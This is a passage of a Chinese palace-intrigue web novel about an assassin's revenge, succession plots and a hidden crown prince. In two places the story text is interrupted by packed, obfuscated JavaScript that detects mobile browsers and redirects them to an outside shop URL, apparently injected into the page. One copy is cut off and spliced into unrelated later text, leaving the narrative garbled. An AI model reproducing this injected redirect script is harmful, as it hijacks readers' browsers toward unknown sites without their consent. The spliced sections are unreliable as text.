“阿姐,怎么了,你不开心?”看着雪微一脸严肃的神情,林江心里忐忑不安,他知道依照雪微的脾气是不希望自己插手她的事情的,可是他怎么能够眼睁睁的瞧着,看着雪微一步一步的走入深渊。 既然你想复仇,那么我就会化为你手中的利刃,阿姐,我会为你荡平一切阻碍。 “小峰,当初我叫你离开京城就是怕你会忍不住,果真还是和我想的一样,你还是被卷了进来,你知道一旦开始了,再想退出去,就退不出去了。” 小峰眼神坚定的看着雪微:“阿姐,我从来没有想过退路,你在哪里我就在哪里,如果有一天要离开京城,那也是我们一起走。” “你可别想再次甩开我。” “好,既然你已经决定了,那就留下吧。”雪微继续说道:“不过一切都要小心谨慎,切不可暴露自己。” “阿姐,你就放心吧。” “再说,这次可是陆邈亲自找我合作共同设空城计引诱叶肃的,只不过没想到叶肃最终会死在自己的儿子的手中。” 林江摇了摇头,“这真是报应。” “你和陆邈认识?” 林江点头:“以前他曾救过我一命,这次就当是还他人情了。” “那就好。”雪微沉思了片刻,“陆邈此人切记不可深交,也不要让他对你产生怀疑。” “知道了。” “只要阿姐不再赶我离开京城,她想怎么样都可以。”林江心中有些雀跃。 ...... 叶肃死了,叶宏如今也被关在了镇妖司地牢,雪微看着手中的仇人一个接一个的减少,心中觉得欣慰,“爹爹,叶肃死了,被他的亲儿子杀死了。” “少宫主。” 雪微抬眼刚好看到红袖走了进来。 “少宫主,属下已经派人跟随锦瑟查找到了蛊王的下落,只不过......只不过......” “只不过什么?” 红袖低头:“还请少宫主责罚。” “跟丢了?”雪微想想就知道,锦瑟跟随自己的时间不比红袖短,能够在她的身边隐藏五年之久而不被察觉,可见她心思深沉,不是那么好对付的。 再加上锦瑟对她的喜好简直可以说是了如指掌,雪微冷冷的笑了笑,“由她去吧。” “如今叶肃已死,锦瑟带着蛊王不过是为了像冥狱示忠。”雪微恍惚之间觉得心里有些寒凉,突然被背叛的感受实在是不好受。 红袖看着雪微有些落寞道:“少宫主,锦瑟背叛了七杀殿,我们不派人杀了她吗?” “只要少宫主一声令下,属下哪怕追到天涯海角也会杀了锦瑟。” “红袖。”雪微再次叹气道:“其实如果她要是想离开,和我说一声就好了,我又不是不会放了她。” “少宫主,你就是心太软了,做我们杀手这一行,心太软可不是什么好事。” “我只杀该杀之人。” 她再次抬眸看向红袖:“红袖,如果有一天你也想离开,和我说一声就好。” “属下绝不会像锦瑟一样背叛少宫主的。”相处了这么些年,突然知道锦瑟居然是冥狱之人,红袖心里十分不好受,少宫主不追究,但不代表我不追究,锦瑟,既然你选择离开,就别让我再次看见你,要不然,我一定会杀了你。 雪微看着红袖那神情逐渐陷入了沉默,复仇只是人生的一段旅程,等为族人报完仇让族人的魂魄得到安息,雪微心想到时候七杀殿都已经没有了存在的必要了,她并不想手下这些人永远的做杀手。 刀口舔血的日子过久了,也是会觉得厌恶的,如果不是想着替族人沉冤昭雪,谁又愿意双手沾满了鲜血呢? 雪微每晚入睡前有时候很厌恶这样的自己,但醒来后身知自己身上肩负的责任重大,她又不得不这么做,这种纠结与割裂来回博弈,血债必须用鲜血来偿还,复仇这条路注定了只会万劫不复。 “就算万劫不复那也只应该是我一个人的万劫不复。” “红袖,如果有一天,你有喜欢的人,你要记得跟我说。”雪微心想:“到时候我一定会为你备一份嫁妆,风风光光的把你嫁出去。” “属下最喜欢的人就是少宫主,别的男子属下都看不上。”在七杀殿待久了,什么样的牛鬼蛇神没见过?红袖可不想像母亲一样摊上这样一个男人,甩都甩不掉,这辈子只能献祭自己。 “我这辈子只想待在少宫主身边,永远追随少宫主。” “好好好。”雪微宠溺道。 “少宫主,你可别赶我走,我可是要赖你一辈子的。”红袖在雪微身边待了这么久又怎么不了解雪微的个性,今日少宫主说这话,明面上是关心,实际上是在告别。 虽然知道等少宫主复完仇之后也许她们会分离,但每次想到这些心里都会觉得有些难受,她是亲眼看着少宫主一路走到这里的,自然比旁人多了几分理解。 没有人天生喜欢打打杀杀的,如果可以选择,谁不想过安逸的生活。 45. 故人 看着叶肃决然离去的背影,叶宏心里最后一丝渴望终将烟消云散,父亲?他心里嘲讽,“连你也放弃了我吗?”悲痛的感觉堵在嗓子口,久久无法下咽,“这就是你给我的答案?” 他仰头看了看天空,再绚丽的色彩在叶宏的眼中都是一个颜色。 “我这一生从出生开始就注定了是个悲剧,从小被父亲关在暗无天日的地牢,好不容易可以重见天日了,却又被亲人亲手给抛弃了。” “大人,您能够答应我一个条件吗?”叶宏神色坦然的看向陆邈,心里并没有半分怯弱,反倒是有点泄气,与刚才被挂在城楼上的神情完全不一样。 陆邈也不知发生了什么,为何会让他一下子就像变了一个人似的,难道他有双重人格分裂?又或者是他见到了叶肃? 他再次环望四周,从事多年的直觉告诉陆邈,叶宏一定是认出了叶肃,叶肃就在周围。 “如果大人要是抓到叶肃,能够让我亲眼见见他吗?毕竟他是我名义上的父亲,也许这会是我们最后一次见面了。” 叶宏再次抬头看向陆邈,言语之中透着一股决然:“我想大人应该会答应我最后的请求吧。” 陆邈并没有搭理此人,只是用铁链把他锁了起来再次关入了地牢,这座地牢是由玄铁打造,除了每一届的指挥使以外,并没有任何人知道这块地方。 四处都是铜墙铁壁,连只苍蝇都飞不出去,陆邈自然也不用担心叶宏会私自逃跑。 “明日,我会让你见你父亲最后一面。”话音刚落,叶宏内心发自悲凉的笑了笑,这笑声让陆邈听着就觉得哀戚。 只是谁也没有想到,这最后一面,叶宏突然挣开铁链,当众咬断了叶肃的脖子,鲜血顿时洒满满地。 “我这一生过的如此艰辛全都是拜你所赐,叶肃,你不配做我的父亲。” “疯了。” “简直是疯了。” 陆邈身经百战,这种情况也是第一次遇见,自己的儿子咬断了父亲的脖子,这父子两人是有多大的仇恨? “放心吧,大人,我不会逃走的。”叶宏转身望向陆邈,笑道:“多谢大人让我杀了此人。”他深深的吸了口气,似乎有种解脱释放出来,然后便重新又带上了铁链朝着地牢走去。 待陆邈次日去见的时候,他早已断了气。 父子相残,真是何其悲凉。 叶肃如今已死,陆邈的心头大患也算是消失了,总算可以睡个安生觉了,只是可惜了这门。他看了看被炸毁的大门,门口的两具石狮早已经被炸得粉碎,看来这炸药的威力巨大。 自从那个女人告诉他,叶肃要故技重施炸毁镇妖司以后,他便心生一计,不动声色的派人暗中在镇妖司内以及四周不断的搜索,可算被他找到出来一点头绪。 看着满桶收集来的炸药,陆邈暗自感到惊叹不已,叶肃此人到底是何方神圣,什么时候在镇妖司内安放了这么多炸药? 为了避免打草惊蛇,他派人把这些炸药替换掉并把它们原封不动的再次放回原位。 不过令他感到更加好奇的是这个女人怎么总是事先提前就已经知道了,且每次都提前跑过来告诉他。 本来他先前还以为这个女人和叶肃是一起的,现如今看来,他们似乎并不是一路人。 “大人,这段时间你们办事出行得从后门走了。”修缮的包头看着陆邈点头笑了笑。 陆邈点头便从一旁绕了过去,大门被炸毁确实是多了许多不便。 这段时间为了处理叶肃一事积压了许多的案件,看来等不到大门修缮好就要开始忙活了。 如今七殿下被封为淮王,京城内部早已风云涌动了。二殿下,七殿下,一个七珠亲王,一个五珠亲王,两边看上去,似乎谁都得罪不起。 不过这些对于陆邈来说并不是什么大事,镇妖司只为王上效命,所以对于这些人的拉拢,陆邈向来是假装看不见。 ...... 凤仪宫内,宇文修勃然大怒。 “母后,父王如今把宇文辰从漠北私自召了回来,连通知都不通知我们,我们在父王的眼里到底算什么?”宇文修心急如焚,怒道:“那个宇文辰自从被封为亲王以后,每次上朝见了本王,连招呼都不打,竟胆敢忽视本王。” 他冷哼一声,气的跺脚:“每日见到宇文辰那张脸,本王就觉得浑身不爽,简直是气不打一处来。” “母后,你快给我出出主意,我该怎么办?” “我能够怎么办呢?”王后看着宇文修,恨铁不成钢道:“都怪你不争气,如今本宫看着娴妃那个贱人自从她的儿子被封为亲王以后,就在后宫之中洋洋得意,你看宇文辰不爽,本宫又何尝不是看着娴妃那个贱人的脸心里就疙瘩。” “要不,暗中处......”宇文修话还未说完就被王后打断:“不行,如今宇文辰刚被封为亲王,正炙手可热,要是眼下出了事,难免不会被人怀疑到我们。” “怀疑就怀疑呗,当初太子这事,还不是也有人怀疑吗?又没有证据,怕什么?”宇文修一副无所畏惧的神情。 “修儿,你怎么想的如此愚蠢,此事不是你想的这么简单的。”王后一阵头皮发麻,太子之事好不容易解决了,现如今又跳出一个宇文辰,很明显王上是有意扶持宇文辰并且利用宇文辰背后的莫家对曹氏一族进行打压。 “太子势单力薄,再加上王氏落寞,下马是迟早的事情,但宇文辰不一样,宇文辰背后可是莫家,就算我们解决了宇文辰,那莫家可不会善罢甘休的。” “修儿,这次我们所面临的敌人可是莫家,这是曹氏与莫氏之争。” 王后再次看向宇文修,脸上拂过一丝担忧:“修儿,你以后做事一定要小心谨慎,切不可让他们抓到把柄。” “母后,区区一个莫家,我们难道还怕了他们不成?”宇文修有些耐不住性子,好不容易让父王把太子给废了,现如今又来了一个宇文辰。 “父王到底想做什么?难道他根本就没打算把太子之位给我?” 王后实在太了解她这个儿子的性子了,打小他要是想要什么是一定得弄到手的,眼看着太子之位就在眼前,王后很害怕他做出什么出格的大事。 她苦心劝道:“修儿,太子之位倒不是最重要的,我们要的是王位,你明白吗?” “从现在开始,你一定要沉住气,你现在是所有皇子里面最尊贵的皇子,等王上仙去,王位就是你的了。” “母后。”宇文修豁然开朗,“母后说得对,比起王位,太子之位又算得了什么?” “等本王登上王位的那一天,本王定要捏死这些碍眼的跳蚤。” ...... 自从太子自缢后,沈雨菲急得像热锅上的蚂蚁,她来到文华殿请求王上把十三殿下交给她抚养,但被王上给拒绝了,说是十三殿下乃是罪妃之子,余生只配幽禁在冷宫,没有他的诏令,任何人都不得探视。 看王上十分坚定的态度,沈雨菲也只好作罢,知道王上心狠,没想到居然对自己最心爱之人的儿子也是这么的心狠,眼下她膝下无子,如果有一天王上驾崩,那么按照西晋的律令,她岂不是要去王陵给宇文渊陪葬。 “不......本宫绝不会去王陵给宇文渊陪葬......绝对不会......”此刻她心里暗自想了想,既然十三殿下行不通,那么眼下只能是七殿下宇文辰了。 宇文修为人心机深沉且不太容易掌控,再加上王后和曹氏一族与太子和她之间斗了这么久,早就对她恨得咬牙切齿了,沈雨菲深知王后迟早有一天会找自己算帐,现在不找她那是因为太子刚死,王后不想做的太明显了。 毕竟一个太子一个贵妃如果都死了很难不被别人怀疑是不是被人陷害致死的。 “淑宁知道我的真实身份,既然如此,我又为何不将她一军,只要我和宇文辰在一起了,不仅可以,以此作为威胁封住淑宁的嘴,说不定日后宇文辰登基为王,我还不照样是西晋的王后。” “既然天公作美,我如果不博上一博,那岂不是太不识趣?” 她找来国师并对国师大人说道:“国师,本宫给你一个戴罪立功的机会,不过这次就要看你是不是能够把握得住了。” “还戴罪立功?我呸......”这个女人每次找自己都没什么好事,国师心里咒骂道:“现在谁人不知自从太子被废自缢以后,贵妃娘娘形同虚设,眼下膝下又无子,等到王上驾崩之后就会跟随着王上一起永葬王陵。” 但不管怎么说那都是王上驾崩以后的事情了,至于现在她依旧是主子,国师垂下头:“娘娘想要微臣做些什么?” “本宫想要上次你给本宫的那个欢宜香。”沈雨菲小声说道:“放心,此事天知地知你知我知,本宫知道这香是违禁品,但只要国师你帮我这一次,本宫保证日后绝不会再找你麻烦。” “欢宜香?”国师笑了笑,难道这个女人又想故技重施,当年她就是靠着此香爬上了王上的龙床,这一次,她又想要欢宜香做什么? 就她和太子那点破事,其实国师心里都明白,只不过是看破不说破,宫里没几个人是干净的,王上也不可能宠幸所有的妃子,自然有些不受宠的妃子偶尔耐不住寂寞,便找人寻求宽慰。 “对,欢宜香,什么时候能够做出来?”沈雨菲有些心急,自从每月吸食驻颜丹已久,她的容颜反而越加的魅惑,国师看着看着竟然也看出了神。 “娘娘想什么时候要?” “当然是越快越好。” “娘娘之事就是微臣之事,微臣定当为娘娘鞠躬尽瘁,竭尽全力。” 沈雨菲满意一笑,以她如今的颜值,只要她动动手指,应该没有男人能够逃过她的手掌心吧,王上是这样,宇文昭也是这样,国师更是如此。 “魅惑再加上欢宜香,本宫就不信宇文辰不败倒在本宫的裙下。” 只要拿下了宇文辰,淑宁自然也就不在话下了。 她摸了摸自己的肚子,为何这么多年过去了她的肚子却始终没有什么动静,难道跟她吃驻颜丹有关吗? “国师,长期服用驻颜丹是不是不易怀孕?” 国师看了看沈雨菲,心里打心眼的就看不起这个女人,但还是耐着性子解释,毕竟对于他来说,沈雨菲是主子,他是臣子,“不会,驻颜丹乃是狐妖的内丹,自然是强身健体的,与人体无害。” “那就好。”沈雨菲忐忑不安的内心也终究沉静了下来,如果驻颜丹不会导致不孕不育,那么为何自己这么多年都始终没有怀上孩子呢?她实在是有些不解。 国师看了眼沈雨菲,眼眸便垂了下去,心里想到:“你当然怀不上孩子了,因为你的殿内含有微量的麝香,这些麝香与别的香料相结合,就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892867|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连续吸入两三年,你的身体自然也就再也怀不上孩子了。” 国师对这种手段十分的了解,当年先王后也是因为这从而导致身体一日不如一日,后来便撒手人寰了,大家心里对此事都十分的明白,王上不想要贵妃怀孕便暗自使用一些特殊的香料让贵妃的身体永远的怀不了孩子。 所以即使沈雨菲找再多的太医前来查看都是没有用的,谁又会冒着被砍头的风险把此事告诉沈贵妃呢? 后宫的女人这辈子都在为一个男人的宠爱争得头破血流,国师摇了摇头,可谁又会知道王座上的那个男人其实谁也不爱,他只爱他自己以及他手中的帝国。 ....... 锦绣坊,雪微端起一杯茶水吹了吹,正准备入口之时,一个熟悉的身影从窗前走过。 “月华?”雪微追到拐角处,却早已经不见此人的身影,奇怪,她在四周转了一圈,依旧没有找到此人。 “不可能,一定是看错了,月华不是跟随着她的情人一起离开了吗?怎么可能会出现在这里?” 她摇了摇头,回到屋里继续喝茶。 “少宫主,今日来了一个新的琴妓,听说是从江南来的,琴音优美人也长得漂亮,你要不要听听再走。”红袖心想锦绣坊能够有如今此等规模离不开少宫主这个背后东家的支持,把锦绣坊交给她经营定是对她的信任,红袖心里对此无比感激。 “不了,我还有事。”雪微站起身,整理整理衣襟正准备离开时,一段优美的琴音此时便传进了她的耳里,“确实动听。” 她从二楼看去,一个熟悉的身影映入眼帘,“月华?” “此人居然和月华长得如此相像,这一切难道也是巧合吗?”雪微心里想了许久,不管这个人是不是月华,她都不能允许此人破坏了她苦心经营的一切。 知道她顶替月华公主的人不多,雪微细细想来,难道是锦瑟?锦瑟在月华身边待了一年,一定对月华十分的了解,假设如果这个和月华长得如此相像的人是锦瑟派来的,那么锦瑟究竟有什么目的呢? “等那个琴妓演奏完毕以后,叫她来我这里一趟,我想见见她。”雪微看着舞台中间的那个人对着红袖说道。 “好。”红袖一脸懵逼,少宫主不会看上了此人了吧,我就知道此女长得如此美艳,又拥有异域风情,红袖曾经一度怀疑此人是不是江南人士,怎么长相和江南那边的女子一点都不像,后来经过一段时间的调查才发现,其实她也是个苦命人。 小月起初是被她的丈夫卖入青楼的,后来由于死活不肯接客,被抽打折磨辗转好几次,最后才来到了京城被红袖看见,便直接买下了她,想不到她居然会弹琴。 好在她有一手琴技,要不然身为女子在这样的乱世又能够靠什么得以谋生呢? “少宫主,这是小月。”红袖把小月带到少宫主身前关上房门便离开了,并且吩咐任何人都不能进来打扰。 “小月。” 故人相见,泪眼婆娑,小月神色震惊,想不到自己有生之年还能够再次见到故人:“对不起,当初你曾经跟我说过,男人没一个好东西,男人说的话更是不可相信,直到现在我经历了这一切,才顿时明白,你说的是对的。” “你真的是月华?”雪微看着眼前的这名女子,身型外貌确实和月华如此相像,只不过她显得瘦弱了几分。 小月点了点头,眼泪止不住的往外流。 “当年我记得我还跟你说过,如果那个男人要是日后背叛了你,你就应该动手杀了他,你还记得吗?”雪微小心试探,看着眼前这个叫小月女子的一举一动,最近发生了太多的事情,她不得不小心谨慎。 特别是经历了锦瑟背叛之后,雪微做事就更加的小心。 “我记得。”小月拿出一柄匕首,并把它拔了出来,“我记得你说过,如果有一天,他背叛了我,我就用这个杀了他,可是,对不起,我没有把你的话听进去,最终我还是下不去手。” 想起那个人苦苦哀求跪在她的身旁紧紧的抱住她的双腿求她原谅的时候,小月的心还是动摇了。 “我没有选择杀他,是因为我从来都没有杀过人,不知道杀人的滋味是什么。” “没关系。”雪微看着小月手中的匕首,匕首上面有颗红色的宝石在灯光之下闪闪发光,雪微记忆之中很深刻,宝石上方有一道浅浅的划痕是当初在雪域攀爬峭壁的时候被坚硬的冰刀所划上去的。 “没有杀过人,杀一次就知道了。” 雪微从小月的手中接过匕首,没想到自己有生之年还能够见到这把匕首,这是父亲送给她的生辰礼物,“谢谢你,把它保护的很好。” 当时只觉得月华心性太过于单纯,雪微有些于心不忍,只好从身上摸出一柄匕首交给她,希望她能够保护好自己,等有一天,雪微报完仇就会把月华的身份归还给她。 没想到两年快过去了,那个男人终究还是负了月华,并且和当初自己所料想的一样。 “现在你有什么打算?”雪微看着小月问道:“你还想杀了那个男人为自己出了这口恶气吗?” “如果你想杀他,我可以帮你的。” “我......”小月斩钉截铁道:“他把我害成如今这副模样,我早就对他恨之入骨了,我当然想杀了他,并且好好的把他折磨一顿。” “好。”二人会心一笑。 46. 妙计 “少主,自从宇文辰回京被封为淮王以后,属下暗自联络了一些老臣,希望他们看在先王的份上假意投靠宇文辰。”子昂觉得十一这计谋实属一妙计,就让端王与淮王二人鹬蚌相争。 十一为了这一刻已经筹谋了两年,总算是走到了这一步。 “太子被废,宇文修本以为自己会坐上太子之位,结果却来了一个宇文辰。”十一嘴角微翘略带讽刺道:“想必宇文修此刻已然勃然大怒吧。” “要是此事发生在我身上,心里也会不好受的,毕竟送到眼前的肥肉就这么飞走了,宇文修此刻应该恨死了宇文辰了吧。” “少主英明,这样既可以离间宇文渊和宇文修这对父子,还把莫家送到了明面上。”子昂一顿夸赞,虽然寻找少主快十几年了,但好在少主比他想的还要优秀,子昂心里为先王感到开心。 先王以仁义治国,对百姓对官员都极好,但就是太过于优柔寡断,才导致王位被宇文渊夺走了,父亲曾经劝说过先王宇文渊此人绝不可信,但先王不听劝诫,反而对宇文渊这个弟弟深信不疑。 最终导致宇文渊带三万兵马攻入了王城,夺走了王位。 “好在少主没有遗传到先王优柔寡断的性格。”子昂心里感到庆幸。 “眼下我们只需要推波助澜,让宇文修自感危机,觉得宇文渊对宇文辰十分重视,重视到有很大可能会把王位传给宇文辰,这下我到要看看宇文修到底还坐不坐得住?”十一捂住胸口,突然之间,心跳不已。 那个女人又来找他了。十一有些不解,叶肃不是已经死了吗?如今又再次找他还会有什么事? “死女人。”十一心里明显的有些不耐烦,要不是被她的噬魂蛊控制着,十一心想自己应该不会这么没骨气随叫随到吧。 “你找我有什么事?”他看着平静作画的雪微,总有种岁月静好的美感,如果不是对这个女人太过于了解了,十一也会觉得她就像现在一样是个温柔贤惠的姑娘。 可惜......实在是太可惜了...... “这是什么?”雪微丢过一沓信纸朝着十一的脸上甩了过去,一脸平静如水,竟毫无波折,“没想到你居然是前朝余孽。” “什么前朝余孽?”十一的心瞬间被悬了起来,她是查出来了什么?前朝余孽,难道她知道我是谁了? “当年宇文渊攻入王城之后,在城内找寻了许久,却始终没有找到太子宇文康。”雪微盯着十一说道:“你就是那位太子,宇文康。” “什么宇文康,我听不明白你在说些什么?”只要我不承认,谁也拿我没有办法,十一心里暗自想道。 “装,你继续装,我到要看看你还打算装多久?”雪微说道:“如果我把这个消息告诉宇文渊,又或者宇文修等,你猜会发生什么事?” 十一脸上的笑容渐渐隐藏了去,这个疯女人可是什么事都做得出来,今日如果不给她一个说法,明日还真不知道会发生什么事,也许一夜之间他的真实身份就会满天飞。 宇文渊此人疑心极重,哪怕他不是宇文康但只要和宇文康扯上关系,他都会被拔掉一层皮,如果要是被宇文渊知道自己就是宇文康,那这么多年的心血岂不是灰飞烟灭。 不,他不甘心,大仇还未得报,大业还未完成,十一只能蛰伏。 他捡起地上的信纸看了看,脸色煞白:“没想到自己费劲辛苦伪装的身份最终还是被她发现了。” “你想要怎么样?” “不要这么看着我,如果我想揭穿你的身份,今日就不会找你前来了。”雪微依旧云淡风轻的笑了笑,似乎并不在乎他是什么身份。 “你说得对,不过我可不是什么前朝余孽。” “这西晋的王座本就是我父王的,西晋的天下本就是我父王的天下,宇文渊才是那个劫匪,他不仅盗走了我父王的王座还窃取了他的国家。” 他都已经做到了这个份上,要想再瞒住这个女人也是不太可能的,只是不知怎么回事,十一居然不想被眼前这个女人所误解。 这天底下所有的人都可以不理解他,但他不想让这个女人也不理解他,这种心理十一也不理解,难道是自己真的爱上了她吗? 爱,十一心里突然对爱这个词感到恐惧和陌生,这个女人可不是他能够招惹得起的。 雪微想过诸多可能,十一为什么要伪装成宇文昌,为什么要致太子于死地,为什么要在京城之内煽风点火,这样一来,所有的行为举止都可以解释得通了。 十一就是前朝太子宇文康。 “你利用我,也骗了我。”雪微冷冷的笑了笑,犹如地狱修罗般说道:“你知道骗我的代价是什么吗?” “你难道没有骗我吗?”十一看着雪微一字一句的说道:“你来京城所做之事看似凌乱无章,但把这些事串联在一起,却跟当年的宁王府一案牵扯不休。” “你到底是谁,跟林家又有什么关系?” “你查我?” “你难道没有查我吗?”十一反驳。 雪微冷笑道:“不错,这才是宇文康,不像你的父王一样优柔寡断,耳根子软,被人一说就动摇。” “我不允许你这么说我父王。”十一言语激烈,父王的为人他在清楚不过了,他软弱无能,确实不配做一国之主,但不管怎样那都是他的父王。 “难道不是吗?”当初爹爹跟随宇文渊就是因为先王耳根子软,可是宇文渊也不是个好东西,他们宇文家族都是一群忘恩负义之徒。 雪微根本就不想和宇文家族之人扯上任何的关系,没想到眼前这个人居然是前朝太子宇文康。 一向以淡漠自称的雪微这一刻心里居然有些微怒,只是她佯装着没让怒气浮现出来,查了这么久,终于查出来了此人的真实身份,雪微心中突然生出一计。 “你的仇人是宇文渊,我的仇人也是宇文渊,我可以帮你夺取王位,但你必须答应我一个条件,如何?” 看着十一一脸深思的模样,雪微继续说道:“这个买卖对于你来说是非常划算的,再说你的影卫目前可是人手不足,要想在短时间之内击倒宇文修和宇文辰,这对你来说也是一大难度,倒不如和我合作。” 这个女人居然连他的影卫都知道,想来自己的一举一动怕是都被这个女人所掌握了,如果不答应她,她会不会毁掉自己这么多年苦心经营的一切。 眼下看来,只能先答应和她一起合作,毕竟不管怎么样自己都不算吃亏。 “什么条件?” “等事成之后,等你登基为王,你必须为宁王洗清冤屈。” 雪微看着十一一脸吃惊的神情,继续说道:“宁王叛国本就是子虚乌有的罪名,理应为他洗清冤屈,不是吗?” “为宁王洗冤?”十一心里觉得如此可笑,林道远当年与宇文渊勾结,可是亲手砍下了他父王的头颅,害得十一从小就家破人亡,四处流散,如今要他亲手为宁王洗清冤屈,十一心里觉得憋屈。 但为今之计,十一别无他法。 “我答应你。” 这个女人一定和宁王府一案有关,说不定她就是林家人,关于这一点十一早就有了怀疑,只不过查了许久却始终没查出什么东西。 “她到底是谁?” 如果她是林家人,那她所做的这一切倒是说得通了。 十一脸色阴沉的从望月轩出来,以前他心里还会怀疑雪微和林家到底是什么关系,今日发生的这一切反倒是让他更加的确信雪微极有可能就是林家人。 他回到养心殿对着子昂说道:“子昂,你再去查查林家当年到底还有没有留下活口?” “是。”子昂点头便离开了养心殿。 当年宁王府惨遭屠杀一事十一也曾听过,后来为了印证雪微到底和林家之人有没有关系,十一曾经派人背地里去仔细查过,当时并没有查出雪微和林家的关系,此事十一就再也没有放在心上。 今日在望月轩所发生之事,十一再一次的确信雪微一定和林家有关系,上次一定是忽视了什么细节,所以才什么也没有查到。 他把上次查询到的资料再次翻开看了看,宁王府那场大火足足烧死了林家三百多口人,无一人幸免。 无一人幸免? 他盯顶着烛光再次仔细的一字一句的翻看,不想放过任何一个细节,林家三百多口人死了,但却有一位名叫兰心的奶娘和她的女儿还有一位名为沈雨菲的女孩却逃脱了。 “如果这位奶娘把她的女儿和宁王府的小姐进行了对换,又或者这个名叫沈雨菲的女孩其实就是宁王府的小姐呢?” 想到此处,十一总算是找到了一点头绪,他再次把子昂叫了过来:“子昂,你觉得身为一个母亲会用自己的亲生女儿去顶替宁王府的小姐赴死吗?” 关于这一点十一也确实有些想不通,毕竟血脉相连,真的会有母亲会如此狠心的送自己的亲生女儿去死吗? 子昂摇了摇头,不知该怎么回答。 “那就先去查查这个叫沈雨菲的人吧。”十一总觉得这个人有很大的可能就在他们身边,他看着兰心这二字,又继续说道:“兰心此人也查一查,如果她的女儿还活着,现在应该差不多快二十了。” “沈雨菲?”子昂听着这个名字总觉得有些耳熟,但是又不记得自己在哪里听过,既然少主要他去查此人,肯定是有他的道理的,子昂点头应声。 ...... 最近民间特别热闹,甚至出现了八字箴言,“帝传三世,辰飞龙舞。” “辰飞龙舞,辰飞龙舞......”宇文修瞬间炸毛,怒火在胸腔涌动,“帝传三世,辰飞龙舞。” “这不就是在暗指宇文辰那个废物吗?” “就宇文辰那个废物还配跟本王相提并论?” 宦官赵随眼见宇文修气的浑身发抖,且周身散发着戾气,令人胆寒的模样,便供火附声道:“宇文辰那个废物王爷怎么可能与端王殿下您相提并论呢?” “依奴才看,这辰飞龙舞应该改为修飞龙舞,才对。” 听到此话,宇文修心中的怒火不减反而烧得更加的旺盛,他拾起一旁的长鞭对着赵随一鞭子刷了下去,瞬间便刷出一条血淋淋的血痕。 “王爷,对不起,是奴才多嘴了。”赵随趴在地上像一条狗一样,被宇文修摔碎的瓷片硬生生的镶嵌到赵随的血肉里,浑身疼得瑟瑟发抖,不敢再多说一句话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“秋桂姑姑,娘娘醒了没有?”这已经是她第三次来问了,此时她的心里已经急躁不安,如果此时回去,二殿下肯定会把怒火发泄到她的身上。 “娘娘还在午休。” 王后娘娘午休一般都得一个小时左右,琥珀心里十分明白,她这样做只不过是想拖延一点时间,能拖多久是多久,毕竟身为奴婢最好是两边都不能得罪。 “你个废物,去了这么久,连母后都请不动。”宇文修看着琥珀这呆头呆脑的模样,怒火中烧,更是气上加气,正准备对琥珀进行责罚,此时王后突然出现在门口。 “修儿,经历了这么多事,你怎么还是这样如此的沉不住气?”王后看了琥珀一眼,示意她赶紧下去。 “母后,你今早听闻了吗?民间流传说宇文辰会成为下一任君王,父王会把王位传给宇文辰。”宇文修说到此事,心里就像炸毛了般焦躁:“母后,你儿子的王位快要被宇文辰夺走了,你还能够如此的沉得住气?” “修儿。”正在午休迷迷糊糊之中突然听见修儿的声音,王后心里便知道他一定是又出了什么大事,要不然他不会这么着急的找自己。 “那些只不过是一些谣言,修儿,你又何必当真呢?” “再说,你父王如今身体还健朗,如果让王上知道此事,你猜以王上那多疑的性格他会不会怀疑宇文辰心怀不轨?” 宇文修转念一想,“母后说的话有理,如果让父王知道了宇文辰急不可耐的想坐上王位,父王一定会加倍的防着他。” “说不定会再次把他赶回漠北?” 王后看着宇文修,这个儿子脑子总算是开窍了,不过如今民间那些谣言来得非常的蹊跷,应该不会是宇文辰或者娴妃传出去的,到底会是谁呢?他这么做的目的又是什么呢? 王后沉默了许久并且仔细斟酌了片刻。 眼下这个节骨眼上,任谁摊上这样的事都会让王上起疑,宇文辰应该不会如此的愚蠢不堪,要是他真的像这样般愚蠢,她倒是不需要花费多少功夫就会让宇文辰再也爬不起来了。 “母后,我先离开了。” “你要去哪?”王后总觉得自己这个儿子不是个善罢甘休的料,心里肯定又在谋划着什么,知子莫如母,从今日开始,她必须小心谨慎,不能给任何人可乘之机。 宇文修转身说道:“民间既然传言宇文辰会是下一任君王,那我就去把这把火烧得更加的旺盛些,最好传到父王的耳中,让父王也知道知道。” “本王就不信,父王听到此谣言,心里不会无动于衷。” 哈哈哈哈哈哈哈 “修儿,做事一定要小心谨慎,切不可让人查出任何蛛丝马迹,不要给自己留下后患。”王后嘱咐道。 “母后,你总是这样谨小慎微,你看现在连老天爷都站在我这一边,如果我不趁机出了这口恶气,那本王就不叫宇文修。”宇文修心里一阵得意忘形,“宇文辰,这可是你自作自受,可不能怪我不给你留有余地了。” “王者之路,注定了不是你死就是我死,宇文辰,你就应该在漠北好好的待着,不应该回来的,太子的下场就是你的前车之鉴。” 他笑了笑,越发的张狂,“跟本王斗,你还嫩了点。” 47. 臣服 经过一晚的发酵,谣言并没有停止下去,反而越演越烈,没过多久,就闹得京城中的众臣子百姓都知道了,甚至还传到了隔壁其他郡县。 宇文渊听闻,勃然大怒,正生气准备发怒时,沈雨菲走了过来安抚道:“王上,如今京城谁人不知王上刚册封七殿下为淮王,紧接着就出现了这档子事,肯定是有人在背后看淮王不顺眼。” “贵妃此话怎么讲?”他笑看着沈雨菲,心里一阵思索:“她什么时候转性了,竟然开始帮宇文辰说话了?” 宇文渊摸了摸王座,自从登上王位二十余年来,他兢兢业业,后宫之人的那点心思,宇文渊自然也是看着眼里的,不管他们如何相争只要不妨碍到他,他自然装作什么都不知道。 